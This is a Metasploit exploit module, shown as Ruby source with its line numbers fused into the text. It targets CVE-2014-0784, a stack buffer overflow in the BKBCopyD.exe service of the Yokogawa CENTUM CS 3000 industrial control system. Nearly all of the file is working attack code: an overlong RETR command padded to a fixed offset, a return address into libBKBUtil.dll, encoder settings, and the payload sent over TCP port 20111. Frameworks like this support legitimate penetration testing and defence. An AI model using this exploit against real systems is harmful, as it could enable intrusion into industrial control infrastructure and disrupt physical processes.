Path: blob/master/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability17exists in the service BKBCopyD.exe when handling specially crafted packets. This module has18been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.19},20'Author' => [21'juan vazquez',22'Redsadic <julian.vilas[at]gmail.com>'23],24'References' => [25[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],26[ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],27[ 'CVE', '2014-0784']28],29'Payload' => {30'Space' => 373, # 500 for the full RETR argument31'DisableNops' => true,32'BadChars' => "\x00\x0d\x0a\xff",33'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory34},35'DefaultOptions' => {36'EXITFUNC' => 'thread',37},38'Platform' => 'win',39'Targets' => [40[41'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',42{43'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]44'Offset' => 12345}46],47],48'DisclosureDate' => '2014-03-10',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(20111)61]62)63end6465def check66pkt = build_probe67res = send_pkt(pkt)68if valid_response?(res)69return Exploit::CheckCode::Detected70end7172Exploit::CheckCode::Safe73end7475def exploit76data = "RETR "77data << rand_text(target['Offset'])78data << [target.ret].pack("V")79data << payload.encoded80data << "\n"8182print_status("Trying target #{target.name}, sending #{data.length} bytes...")83connect84sock.put(data)85disconnect86end8788def build_probe89"#{rand_text_alpha(10)}\n"90end9192def send_pkt(data)93connect94sock.put(data)95data = sock.get_once96disconnect9798return data99end100101def valid_response?(data)102return false unless !!data103return false unless data =~ /500 'yyparse error': command not understood/104105return true106end107end108109110